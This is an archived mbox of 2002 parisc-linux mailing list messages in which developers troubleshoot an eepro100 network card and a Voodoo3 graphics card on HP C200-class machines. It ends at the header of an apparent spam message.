List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15831

I tried your suggestions and built a new kernel, but
it still behaves as it did prior to the modification.


To summarize (with eepro100 in PCI slot ):

  - can ping using a dotted quad
  - cannot ping using dns
  - can ftp login to another machine on my LAN
  - when I try to list files or download it locks up.

Onboard tulip and LASI ethernet devices seem to have died.

This is a major headache. I don't believe that the Debian 3.0
cdrom will boot on the C200, and without network I can't
upgrade the 0.9.3 cdrom. Its a catch-22!



Andreas Seltenreich wrote:
> Hi,
> 
> just append " || defined(__hppa__)" to line 47 of drivers/net/eepro100.c
> I got mine working that way.
> 
> Regards,
> andreas
> 
> * B. Douglas Hilton <bdhilton@charter.net> [2002-08-17 22:32]:
> 
>>Hello list. For some reason my onboard LAN devices
>>all mysteriously died and disappeared from the
>>firmware, so I purchased an eepro100 card to try
>>and get some networking connectivity back.
>>
>>When I modprobe eepro100 it seems to be ok. I can
>>do an 'ifup -a' and then ifconfig lists my eth0
>>and it appears to be configured properly. I can
>>ping other servers in my LAN, and I can do an
>>ftp login, but as soon a I type "ls" it goes out
>>to lunch and locks up.
>>
>>Likewise I can ping numeric ip's on the internet,
>>but name resolution is not working.
>>
>>Could this be an endianness problem? Any ideas?
>>
>>Any tips on how to reactivate the onboard ether
>>devices would be greatly appreciated too.
>>




From - Thu Nov 08 21:24:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Seltenreich <s_selten@informatik.uni-karlsruhe.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCI Intel EtherExpressPro100 strangeness on C200 machine.
Date: Sun, 18 Aug 2002 05:12:28 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <20020818031227.GA32603@gate450.dyndns.org>
References: <3D5EB2D6.9090403@charter.net> <20020817223713.GA25852@gate450.dyndns.org> <3D5EFFF7.30008@charter.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621625 12391 80.91.229.3 (22 Nov 2014 02:00:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "B. Douglas Hilton" <bdhilton@charter.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 17 21:12:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hptux.heylan (pD955D0F8.dip.t-dialin.net [217.85.208.248])
	by dsl2.external.hp.com (Postfix) with ESMTP id A26954829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 17 Aug 2002 21:12:42 -0600 (MDT)
Original-Received: from andreas by hptux.heylan with local (Exim 3.35 #1 (Debian))
	id 17gGUP-0000Fh-00; Sun, 18 Aug 2002 05:12:29 +0200
Mail-Followup-To: "B. Douglas Hilton" <bdhilton@charter.net>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <3D5EFFF7.30008@charter.net>
User-Agent: Mutt/1.4i
X-PGP-Key: http://gate450.dyndns.org/~andreas/gpg_public_key.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15832

* B. Douglas Hilton <bdhilton@charter.net> [2002-08-18 04:01]:
> I tried your suggestions and built a new kernel, but
> it still behaves as it did prior to the modification.

Just to be sure, you did rebuild the eepro100 module too?

I'm using the nic for hours now and it is working perfectly.

> To summarize (with eepro100 in PCI slot ):
> 
>  - can ping using a dotted quad
>  - cannot ping using dns
>  - can ftp login to another machine on my LAN
>  - when I try to list files or download it locks up.

With the original module (2.4.19-pa2) I wasn't able to receive ip packets
larger than approx 150 bytes. For example a ping -s 100  went through
while ping -s 200 didn't. 

> This is a major headache. I don't believe that the Debian 3.0
> cdrom will boot on the C200, and without network I can't
> upgrade the 0.9.3 cdrom. Its a catch-22!

Btw. the diff was from 2.4.19-pa2. Maybe there have been other changes
if you are using an older kernel.

The address of the maintainer Andrey V. Savochkin <saw@saw.sw.com.sg>
seems to be broken. So no help from there.

regards
andreas


From - Thu Nov 08 21:24:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "B. Douglas Hilton" <bdhilton@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCI Intel EtherExpressPro100 strangeness on C200
 machine.
Date: Sat, 17 Aug 2002 23:33:14 -0400
Lines: 57
Approved: news@gmane.org
Message-ID: <3D5F157A.7070207@charter.net>
References: <3D5EB2D6.9090403@charter.net> <20020817223713.GA25852@gate450.dyndns.org> <3D5EFFF7.30008@charter.net> <20020818031227.GA32603@gate450.dyndns.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621626 12393 80.91.229.3 (22 Nov 2014 02:00:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Andreas Seltenreich <s_selten@informatik.uni-karlsruhe.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 17 21:32:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx05.cluster1.charter.net (dc-mx05.cluster1.charter.net [209.225.8.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id E656C4829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 17 Aug 2002 21:32:24 -0600 (MDT)
Original-Received: from [24.159.161.68] (HELO charter.net)
  by mx05.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 45799584; Sat, 17 Aug 2002 23:32:31 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020529
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15833

Yes I made a monolithic kernel, so it rebuilt eepro100.c

Prior, I was using a stock Debian vmlinux-2.4.18-32 kernel
so there is a good chance that the Debian packager had made
the same modification to the source.



Andreas Seltenreich wrote:
> * B. Douglas Hilton <bdhilton@charter.net> [2002-08-18 04:01]:
> 
>>I tried your suggestions and built a new kernel, but
>>it still behaves as it did prior to the modification.
> 
> 
> Just to be sure, you did rebuild the eepro100 module too?
> 
> I'm using the nic for hours now and it is working perfectly.
> 

Hmmm....

> 
>>To summarize (with eepro100 in PCI slot ):
>>
>> - can ping using a dotted quad
>> - cannot ping using dns
>> - can ftp login to another machine on my LAN
>> - when I try to list files or download it locks up.
> 
> 
> With the original module (2.4.19-pa2) I wasn't able to receive ip packets
> larger than approx 150 bytes. For example a ping -s 100  went through
> while ping -s 200 didn't. 
> 
> 
>>This is a major headache. I don't believe that the Debian 3.0
>>cdrom will boot on the C200, and without network I can't
>>upgrade the 0.9.3 cdrom. Its a catch-22!
> 
> 
> Btw. the diff was from 2.4.19-pa2. Maybe there have been other changes
> if you are using an older kernel.
> 

I guess I will try that one then. Thanks.

> The address of the maintainer Andrey V. Savochkin <saw@saw.sw.com.sg>
> seems to be broken. So no help from there.
> 
> regards
> andreas
> 





From - Thu Nov 08 21:24:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Voodoo3 PCI on C200 experiment pending!
Date: Sun, 18 Aug 2002 04:38:50 +0100 (IST)
Lines: 47
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0208180419120.1348-100000@sal.ucc.ie>
References: <3D5E0430.2000407@charter.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621626 12397 80.91.229.3 (22 Nov 2014 02:00:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "B. Douglas Hilton" <bdhilton@charter.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 17 21:38:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from interzone.ucc.ie (interzone.ucc.ie [143.239.1.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D79F4829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 17 Aug 2002 21:38:57 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by interzone.ucc.ie (8.9.3/8.9.3) with ESMTP id EAA32441;
	Sun, 18 Aug 2002 04:39:02 +0100 (BST)
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <3D5E0430.2000407@charter.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15834

On Sat, 17 Aug 2002, B. Douglas Hilton wrote:

> I just scarfed up a somewhat used Voodoo3 PCI graphics
> card from Ebay and intend to try it out with Debian/HPPA
> and a custom built kernel.
>
> I hope to compile a tdfx.o drm module and get the card
> recognized via a PALO boot command. I will use a dumb
> terminal for the system console during initial booting.

I think I have to disappoint you. I doesn't work for me :-(

I did exactly the same thing, I got a Voodoo 3 3000 from ebay and put it
into my C240 (it's very similar to the C200 series).
I tried both 32bit and 64bit PCI slots, but XFree86's Voodoo driver
seems to have some problems with 64bit PCI (at least some guru from
the p-l mailing list suggested this after reading my XFree86 logs).

But unfortunately sticking the Voodoo into a 32bit PCI slot doesn't get
much further: starting XFree86 will cause a HPMC shortly after a message
like "Lasi: barking without apparent reason" (obviously from gsc/lasi.c).
This is just before it is about to initialize the Voodoo3 (with the
Intel emulator in XFree86). At least the messages printed on the console
seem to be like the last messages XFree86 usually prints out just before
activating the graphics card on other platforms.

Finally I even took out the (not yet supported) HP Visualize-FX2 card
(64bit slot), just to get sure that there were no conflict with other PCI
hardware. I'm using (or should I say: I have to use) the serial console
anyway.

BTW, of course you must not compile the Voodoo FrameBuffer device, and
I don't use the DRI driver either (just to be sure); just use XFree86
driver.

I recently found a message on the debian-alpha mailing list (this month)
were some tried to get a Voodoo3 running on a AlphaStation. He succeeded
by adding 'Option "NoINT10"' to XF86Config, but this didn't work for me.
This would have been very surprising, since Alpha and HPPA are totally
different architectures anyway, but who knows ...

My last attempt was with 2.4.19-pa2; still the same error.

greetings max




From - Thu Nov 08 21:24:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Hints to debug, was: Voodoo3 PCI on C200 experiment pending!
Date: Sun, 18 Aug 2002 05:21:34 +0100 (IST)
Lines: 43
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0208180453380.1348-100000@sal.ucc.ie>
References: <Pine.LNX.4.44.0208180419120.1348-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621626 12402 80.91.229.3 (22 Nov 2014 02:00:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "B. Douglas Hilton" <bdhilton@charter.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 17 22:21:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from interzone.ucc.ie (interzone.ucc.ie [143.239.1.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id 32BB34829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 17 Aug 2002 22:21:37 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by interzone.ucc.ie (8.9.3/8.9.3) with ESMTP id FAA00063;
	Sun, 18 Aug 2002 05:21:45 +0100 (BST)
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <Pine.LNX.4.44.0208180419120.1348-100000@sal.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15835

On Sun, 18 Aug 2002, M. Grabert wrote:

> On Sat, 17 Aug 2002, B. Douglas Hilton wrote:
>
> > I just scarfed up a somewhat used Voodoo3 PCI graphics
> > card from Ebay and intend to try it out with Debian/HPPA
> > and a custom built kernel.

[...]

> I think I have to disappoint you. I doesn't work for me :-(

[...]

> But unfortunately sticking the Voodoo into a 32bit PCI slot doesn't get
> much further: starting XFree86 will cause a HPMC shortly after a message
> like "Lasi: barking without apparent reason" (obviously from gsc/lasi.c).
> This is just before it is about to initialize the Voodoo3 (with the
> Intel emulator in XFree86). At least the messages printed on the console
> seem to be like the last messages XFree86 usually prints out just before
> activating the graphics card on other platforms.

Does anybody can give me some hints what to do to debug this issue?
I'm not a kernel hacker, and I don't have any knowledge about PA-RISC
linux internals and PA-RISC assembler programming (but I hope I'll improve
this situation in the future ;)

However I know C quite well (and debugging, stack manipulation, reverse
engineering), and I used it not only as a hobby.

Can anybody give me some hints how I should compile the kernel (-g), how
and if I should use the kernel debugger and recompile X with debugging
symbols in order to get some more interesting information about how and
why it Voodoo/X fails on PA-RISC linux? I'm sure will not be able to fix
the problem, but I probably can feed you with some information that will
help you to locate and solve the problem.
At least this is an interesting/annoying bug for two people (probably
more) and we could investigate it a little bit more while you don't have
to waste too much time on this issue yourself.

greetings max



From - Thu Nov 08 21:24:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Voodoo3 PCI on C200 experiment pending!
Date: Sat, 17 Aug 2002 22:46:12 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <20020818044613.0969E4829@dsl2.external.hp.com>
References: <3D5E0430.2000407@charter.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621626 12406 80.91.229.3 (22 Nov 2014 02:00:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "B. Douglas Hilton" <bdhilton@charter.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 17 22:46:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 0969E4829; Sat, 17 Aug 2002 22:46:13 -0600 (MDT)
In-Reply-To: Message from "B. Douglas Hilton" <bdhilton@charter.net> 
   of "Sat, 17 Aug 2002 04:07:12 EDT." <3D5E0430.2000407@charter.net> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15836

"B. Douglas Hilton" wrote:
> Any hints or tips would be appreciated :-)

Search the mail archives.
Once upon a time (2 years ago?), Alan Cox explained his ideas
on how to make something like this work. He had an A180 in front
of him at the time...

grant


From - Thu Nov 08 21:24:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Voodoo3 PCI on C200 experiment pending!
Date: Sat, 17 Aug 2002 22:59:52 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20020818045952.102E84829@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0208180419120.1348-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621627 12412 80.91.229.3 (22 Nov 2014 02:00:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 17 22:59:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 102E84829; Sat, 17 Aug 2002 22:59:52 -0600 (MDT)
In-Reply-To: Message from "M. Grabert" <xam@cs.ucc.ie> 
   of "Sun, 18 Aug 2002 04:38:50 BST." <Pine.LNX.4.44.0208180419120.1348-100000@sal.ucc.ie> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15837

"M. Grabert" wrote:
> I recently found a message on the debian-alpha mailing list (this month)
> were some tried to get a Voodoo3 running on a AlphaStation. He succeeded
> by adding 'Option "NoINT10"' to XF86Config, but this didn't work for me.
> This would have been very surprising, since Alpha and HPPA are totally
> different architectures anyway, but who knows ...

The biggest difference between Alpha and parisc is Alpha has weakly ordered
memory. Reminds me of the saying: "My enemy's enemy is my friend"

BTW, ia64 on HP ZX1 doesn't like int10 either.

grant


From - Thu Nov 08 21:24:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Hints to debug, was: Voodoo3 PCI on C200 experiment pending!
Date: Sat, 17 Aug 2002 23:05:25 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20020818050525.0B27A4829@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0208180453380.1348-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621627 12414 80.91.229.3 (22 Nov 2014 02:00:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 17 23:05:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 0B27A4829; Sat, 17 Aug 2002 23:05:25 -0600 (MDT)
In-Reply-To: Message from "M. Grabert" <xam@cs.ucc.ie> 
   of "Sun, 18 Aug 2002 05:21:34 BST." <Pine.LNX.4.44.0208180453380.1348-100000@sal.ucc.ie> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15838

"M. Grabert" wrote:
> Does anybody can give me some hints what to do to debug this issue?

Here's a start.

You want to get the HPMC state from firmware. interrupt the
boot process and type "ser pim" at the firmware prompt.
You want to look at gr02 (return pointer) and IOAQ (aka offset, IP).
IOAQ points at the instruction that tripped the HPMC handling.
It wasn't necessarily the cause. Look up the symbol in the
System.map with "buildtools/a.c" (another CVS repository on
cvs.parisc-linux.org).

IOAQ might point to user space if X11 server is involved.
We'll have to look at PSW bits and/or Space registers to determine that.

grant


From - Thu Nov 08 21:24:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCI Intel EtherExpressPro100 strangeness on C200 machine.
Date: Sat, 17 Aug 2002 23:16:32 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <20020818051633.209BD4829@dsl2.external.hp.com>
References: <3D5EB2D6.9090403@charter.net>  <20020817223713.GA25852@gate450.dyndns.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621627 12416 80.91.229.3 (22 Nov 2014 02:00:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:27 +0000 (UTC)
To: "B. Douglas Hilton" <bdhilton@charter.net>,
	parisc-linux@lists.parisc-linux.org, saw@saw.sw.com.sg
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 17 23:16:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 209BD4829; Sat, 17 Aug 2002 23:16:33 -0600 (MDT)
In-Reply-To: Message from Andreas Seltenreich <s_selten@informatik.uni-karlsruhe.de> 
   of "Sun, 18 Aug 2002 00:37:15 +0200." <20020817223713.GA25852@gate450.dyndns.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15839

Andreas Seltenreich wrote:
> just append " || defined(__hppa__)" to line 47 of drivers/net/eepro100.c
> I got mine working that way.

The RX_ALIGN shouldn't strictly be needed. It's a performance improvement.
It means the misaligned access handling isn't working right. And should be
spewing something to the kernel dmesg buf. IIRC, Randolph Chung has done a
great job on getting most of the misaligned access emulation working right.
If you get console/dmesg output when using eepro100, please post it here.

If someone with CVS access has time, please enable the RX_ALIGN
code for __hppa__ as well. I have other changes outstanding (cpqfc)
that I want to finished up and committed first.

grant


From - Thu Nov 08 21:24:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "LINUX" <LINUX@LINUX.LINUX>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LinuxWorld China 2002ֻ뺯ѣ
Date: Sun, 18 Aug 2002 15:23:34 +0800
Lines: 469
Approved: news@gmane.org
Message-ID: <20020818072348.8C797482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="= Multipart Boundary 0818021523"
